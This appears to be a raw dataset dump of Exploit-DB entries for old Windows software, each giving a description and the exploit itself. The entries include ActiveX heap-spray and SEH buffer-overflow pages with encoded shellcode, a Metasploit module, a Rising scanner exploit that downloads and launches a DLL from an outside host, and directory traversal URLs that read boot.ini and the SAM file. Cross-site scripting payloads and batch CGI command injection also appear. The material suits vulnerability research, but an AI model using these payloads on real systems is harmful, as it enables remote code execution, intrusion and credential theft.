deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5188
Description: Rising AntiVirus Online Scanner - Insecure Method Flaw
Type: remote
Platform: windows
Date: 2008-02-25
Author: John Smith

Exploit:
<!--
- Rising is a popular anti-virus product around China.
- there's an insecure method flaw inside its free online scanner.
- it's quite easy to exploit the bug which leads to a remote execution.
- visit http://online.rising.com.cn/free/index.htm to install the ActiveX first.
- the demonstration below will download http://jsmith080220.googlepages.com/olupdate.zip and
  launch olupdate.dll inside the package.
- you can code olupdate.dll yourself, in this case, I played with harmless calc.exe
-->
<html>
<head><title>Rising Online Scanner Insecure Method Vulnerability</title></head>
<body>
<object style="display:none" classid="clsid:E4E2F180-CB8B-4DE9-ACBB-DA745D3BA153" height="265" id="rav" width="430" VIEWASTEXT>
<param NAME="BackColor" VALUE="#ECECEC">
<param NAME="ForeColor" VALUE="#000000">
</object>
<script>
function test()
{
rav.BaseURL = "http://jsmith080220.googlepages.com/";
rav.Encardid = "0000$0000$0000";
rav.UpdateEngine();
}
</script>
<input type="button" value=" Go " onclick="test()"><br><br>
wait for a few seconds after clicking the button
</body></html>

# milw0rm.com [2008-02-25]
Exploit-DB #16565
Description: RKD Software BarCode ActiveX Control 'BarCodeAx.dll' 4.9 - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: barcode_ax49.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in RKD Software Barcode Application
				ActiveX Control 'BarCodeAx.dll'. By sending an overly long string to the BeginPrint
				method of BarCodeAx.dll v4.9, an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Trancek <trancek[at]yashira.org>', 'patrick' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'URL', 'http://www.milw0rm.com/exploits/4094' ],
					[ 'OSVDB', '37482' ],
					[ 'BID', '24596' ],
					[ 'CVE', '2007-3435' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars' => "\x00\x0a\x0d\x20\'\"%<>@=,.\#$&()\\/",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0 English', { 'Ret' => 0x71ab7bfb } ] # jmp esp ws2_32.dll patrickw xpsp0
				],
			'DisclosureDate' => 'Jun 22 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname = rand_text_alpha(rand(100) + 1)

		buff = Rex::Text.rand_text_alphanumeric(656) + [target['Ret']].pack('V') + make_nops(20) + payload.encoded

		# Build out the message
		content = %Q|<html>
<object classid='clsid:C26D9CA8-6747-11D5-AD4B-C01857C10000' id='#{vname}'></object>
<script language='javascript'>
#{vname}.BeginPrint("#{buff}");
</script>
</html>
|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #20657
Description: Robin Twombly A1 HTTP Server 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-27
Author: slipy

Exploit:
source: https://www.securityfocus.com/bid/2436/info

It is possible for a remote user to gain read access to directories and files outside the web root. Requesting a specially crafted URL composed of '../' sequences will disclose an arbitrary directory, appending the known filename will disclose the requested resource. 

http://target/../../../../../../Scandisk.log
Exploit-DB #20793
Description: RobTex Viking Server 1.0.7 - Relative Path Webroot Escaping
Type: remote
Platform: windows
Date: 2001-04-23
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2643/info

The Viking Server is a freely available software package maintained and distributed by Robtex. The Viking Server provides multiple protocol service on Windows 95, 98, and NT systems.

A problem in the software package could make it possible for remote users to gain access to sensitive system files. Due to the improper handling of relative paths by the HTTP serving portion of the Viking Server, a user requesting a relative path such as "\...\" can gain access to the root directory, breaking out of the webroot.

This problem makes it possible for remote user to gain access to sensitive system files, and potentially local access. 

http://vulnerable.system/\...\
Exploit-DB #8835
Description: Roxio CinePlayer 3.2 - 'IAManager.dll' Remote Buffer Overflow HeapSpray
Type: remote
Platform: windows
Date: 2009-06-01
Author: His0k4

Exploit:
<html>
 <head>
  <title>Boom!</title>
<br>Roxio CinePlayer 3.2 (IAManager.dll) Remote BOF Exploit (heap spray)</br>
<br>Advisory from secunia 22251</br>
<br>By : His0k4</br>
<br>Greetings: All friends (dz), snakespc.com</br>
<br>Tested on Windows Xp Sp3 (en),with IE7</br>

<object classid='clsid:EE1BBA18-F0C8-477E-8AC8-C28B94F1B7DC' id='test'></object>
<script language='javascript'>

  //calc	
  shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                       "%u652E%u6578%u9000");
	 nops=unescape('%u9090%u9090');
	 headersize =20;
	 slackspace= headersize + shellcode.length;
	while( nops.length< slackspace) nops+= nops;
	 fillblock= nops.substring(0, slackspace);
	 block= nops.substring(0, nops.length- slackspace);
	while( block.length+ slackspace<262000) block= block+ block+ fillblock;
	 memory=new Array();
	for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode;
	 buffer='A';
	for( counter=0; counter<=200; counter++) buffer+=unescape('%0c%0c%0c%0c');
	test.SetIAPlayerName(buffer);
</script>
</head>
</html>

# milw0rm.com [2009-06-01]
Exploit-DB #29840
Description: Roxio CinePlayer 3.2 - 'SonicDVDDashVRNav.dll' ActiveX Control Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-04-11
Author: Carsten Eiram

Exploit:
source: https://www.securityfocus.com/bid/23412/info

Roxio CinePlayer is prone to a stack-based buffer-overflow vulnerability because it fails to sufficiently check boundaries of user-supplied input before copying it to an insufficiently sized memory buffer.

A remote attacker may exploit this issue by enticing victims into opening a malicious HTML document.

Exploiting this issue allows the attacker to execute arbitrary code in the context of applications using the affected ActiveX control and to compromise affected computers. Failed attempts will likely result in denial-of-service conditions.

Roxio CinePlayer 3.2 is vulnerable; other versions may also be affected. 

<html> <head> <title>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</title> <br>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</br> <br>Advisory from secunia 22251</br> <br>By : Super-cristal</br> <br>Greetings: His0k4, snakespc.com</br> <br>Tested on Windows Xp Sp2 (en),with IE7</br> <object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='test'></object> <script language='javascript'> shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); nops=unescape('%u0c0c%u0c0c'); headersize =20; slackspace= headersize + shellcode.length; while( nops.length< slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<262144) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode; buffer=''; for( counter=0; counter<=200; counter++) buffer+=unescape('%0c%0c%0c%0c'); test.DiskType( buffer); </script> </head> </html>
Exploit-DB #8824
Description: Roxio CinePlayer 3.2 - 'SonicMediaPlayer.dll' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-05-29
Author: snakespc

Exploit:
<html>
 <head>
  <title>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</title>
<br>Roxio CinePlayer 3.2 (SonicMediaPlayer.dll) Remote BOF Exploit</br>
<br>Advisory from secunia 22251</br>
<br>By : Super-cristal</br>
<br>Greetings: His0k4, snakespc.com</br>
<br>Tested on Windows Xp Sp2 (en),with IE7</br>

<object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='test'></object>
<script language='javascript'>

	 shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
	 nops=unescape('%u0c0c%u0c0c');
	 headersize =20;
	 slackspace= headersize + shellcode.length;
	while( nops.length< slackspace) nops+= nops;
	 fillblock= nops.substring(0, slackspace);
	 block= nops.substring(0, nops.length- slackspace);
	while( block.length+ slackspace<262144) block= block+ block+ fillblock;
	 memory=new Array();
	for( counter=0; counter<500; counter++) memory[ counter]= block+ shellcode;
	 buffer='';
	for( counter=0; counter<=200; counter++) buffer+=unescape('%0c%0c%0c%0c');
	test.DiskType( buffer);
</script>
</head>
</html>

# milw0rm.com [2009-05-29]
Exploit-DB #31699
Description: RSA Authentication Agent for Web 5.3 - Open Redirection
Type: remote
Platform: windows
Date: 2008-04-23
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/28907/info

RSA Authentication Agent for Web is prone to a remote URI-redirection vulnerability because the application fails to adequately sanitize user-supplied input.

A successful attack may aid in phishing-style attacks.

This issue affects RSA Authentication Agent for Web for Internet Information Services 5.3.0.258. Other versions may also be affected.

https://www.example.com/WebID/IISWebAgentIF.dll?Redirect?url=ftp://www.example2.com/index.htm
Exploit-DB #25421
Description: RSA Security RSA Authentication Agent For Web 5.2 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2005-04-15
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/13168/info

A remote cross-site scripting vulnerability affects the RSA Security RSA Authentication Agent for Web. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks, due to the nature of the application, bypassing authentication requirements may be possible. 

POST /WebID/IISWebAgentIF.dll HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com
Cache-Control: no-cache
Referer: https://www.example.com/
Content-Length: 135

stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata="><script>alert("Vulnerable")</script>&authntype=2&username=asdf&passcode=jkl%F6
Exploit-DB #14605
Description: RSP MP3 Player - OCX ActiveX Buffer Overflow HeapSpray
Type: remote
Platform: windows
Date: 2010-08-10
Author: Madjix

Exploit:
<html>
<br></br>
<br>.  .     .    \  / </br>
<br>|\/| _. _|  ** ><  </br>
<br>|  |(_](_]  ||/  \ </br>
<br>          ._|      </br>
<br></br>
<br>RSP MP3 Player OCX ActiveX Buffer Overflow (heap spray)</br>
<br>By : MadjiX , Dz8(a)Hotmail.com</br>
<br>Discovered by Blake: http://www.exploit-db.com/exploits/14309/
<br>Greetings: His0k4 , Bibi-info , The g0bl!n (y) , sec4ever.com</br>
<br>Tested on Windows Xp Sp3 (Fr),with IE6</br>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' ></object>
<script>
sh = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
					
n=unescape('%u9090%u9090'); 
h = 20;
s= h + sh.length;
while(n.length<s) n+=n;
f=n.substring(0,s);
b=n.substring(0,n.length-s);
while(b.length+s<0x40000) b=b+b+f;
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= b + sh; 
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a"); 
 
target.OpenFile(ret);

</script>
</html>
Exploit-DB #14309
Description: RSP MP3 Player OCX 3.2 - ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2010-07-09
Author: blake

Exploit:
<html>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target'></object>
<script language='vbscript'>
' Exploit Title: RSP MP3 Player OCX 3.2 ActiveX Buffer Overflow
' Date: July 9, 2010
' Author: Blake
' Software Link: http://download.cnet.com/RSP-MP3-Player-OCX/3000-2206_4-10860503.html?tag=mncol
' Version: 3.2
' Tested on: Windows XP SP3 / IE7 in VirtualBox

' EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
unescape("%50%68")

buffer1 = string(221, "A")
nops = string(40, unescape("%90"))                            ' nop sled
near_jmp = unescape("%e9%5e%fe%ff%ff")                ' jump back 418
next_seh = unescape("%eb%f9%90%90")                   ' jump back
seh = unescape("%56%29%d1%72")                          ' 0x72D12956
buffer2 = string(1000, "C")

exploit = buffer1 + nops + shellcode + nops + near_jmp + next_seh + seh + buffer2
target.OpenFile exploit

</script>
Exploit-DB #30809
Description: SafeNet Sentinel Protection Server 7.x/Keys Server 1.0.3 - Directory Traversal
Type: remote
Platform: windows
Date: 2007-11-26
Author: Corey Lebleu

Exploit:
source: https://www.securityfocus.com/bid/26583/info

Sentinel Protection Server and Keys Server are prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

This issue affects Protection Server 7.0.0 through 7.4.0, and Keys Server 1.0.3; earlier versions may also be vulnerable. 

http://www.example.com:6002/../../../../../../boot.ini
http://www.example.com:7002/../../../../../../winnt/repair/sam
Exploit-DB #22270
Description: Sage 1.0 Beta 3 - Content Management System Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-02-20
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/6894/info

Sage is prone to a cross site scripting vulnerability.

This issue is due to insufficient sanitization of input submitted in URI parameters. As a result, an attacker may create a malicious link to a site hosting Sage, which contains malicious HTML or script code.

When such a link is visited by an unsuspecting user, attacker-supplied script code will be interpreted by their web client. 

http://hostname/?mod=<script>alert(document.cookie)</script>&op=browse
Exploit-DB #22269
Description: Sage 1.0 Beta 3 - Content Management System Full Path Disclosure
Type: remote
Platform: windows
Date: 2003-02-20
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/6893/info

Sage Content Management System contains a path disclosure vulnerability. When a request is made for a module that does not exist, the returned error message contains the full path to the Sage installation directory.

Disclosed path information could be used to launch further attacks against the system. 

http://hostname/?mod=some_thing&op=browse

http://hostname/?mod=node&nid=some_thing&op=view
Exploit-DB #29083
Description: Sage 1.3.x - IMG Element Input Validation
Type: remote
Platform: windows
Date: 2006-09-08
Author: Kevin Kierznowski

Exploit:
source: https://www.securityfocus.com/bid/21164/info

The application is prone to an input-validation vulnerability that allows malicious HTML and script code to be injected before it is used in dynamically generated content.

Attacker-supplied HTML and script code would execute in the context of the affected application, potentially allowing an attacker to steal cookie-based authentication credentials; other attacks are also possible.

<img src="http://www.example.com/images/jss.jpg" <script>alert(.blah.);</script> ></img>
Exploit-DB #19761
Description: Sambar Server 4.2 Beta 7 - Batch CGI
Type: remote
Platform: windows
Date: 2000-02-24
Author: Georich Chorbadzhiyski

Exploit:
source: https://www.securityfocus.com/bid/1002/info

The Sambar Web/FTP/Proxy Server for Windows NT and 2000 supports DOS-style batch programs as CGI scripts. A remote attacker can use any batch file used by the server in the 'cgi-bin' directory to run any valid command-line program with administrator privileges. This allows the attacker to read, modify, create, or delete any file or directory on the system, including user accounts, etc. Even if the user hasn't enabled or created any batch files, the software ships with two by default: 'hello.bat' and 'echo.bat'.

http://target/cgi-bin/hello.bat?&dir+c:or
http://target/cgi-bin/echo.bat?&dir+c:\
Exploit-DB #20223
Description: Sambar Server 4.3/4.4 Beta 3 - Search CGI
Type: remote
Platform: windows
Date: 2000-09-15
Author: dethy

Exploit:
source: https://www.securityfocus.com/bid/1684/info

The Sambar Server was created to test a three-tier communication infrastructure modeled after the Sybase Open Client/Open Server. Soon thereafter, the idea of leveraging the infrastructure for dynamic delivery of content on the WWW resulted in the addition of an HTTP protocol stack, and efforts in supporting the notion of preexistent users via HTTP. 

Certain NT versions of this software ship with a vulnerability in the search.dll which allows remote attackers to view the contents of the SAMBAR Server such as mail folders etc by passing paths or invalid values in the 'query' variable.

All that is needed is a malformed query parameter parsed to the search.dll file
.

http://server-running-sambar.com/search.dll?search?query=%00&logic=AND

.. this will reveal the current working directory contents.


http://server-running-sambar.com/search.dll?search?query=/&logic=AND

.. this will reveal the root dir of the server.
Exploit-DB #22185
Description: Sambar Server 5.x - 'results.stm' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-01-20
Author: galiarept

Exploit:
source: https://www.securityfocus.com/bid/6643/info

Sambar Server does not adequately filter some HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user. All code will be executed within the context of the website running Sambar Server.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software.

http://localhost/search/results.stm?query=<script>alert('Test');</script>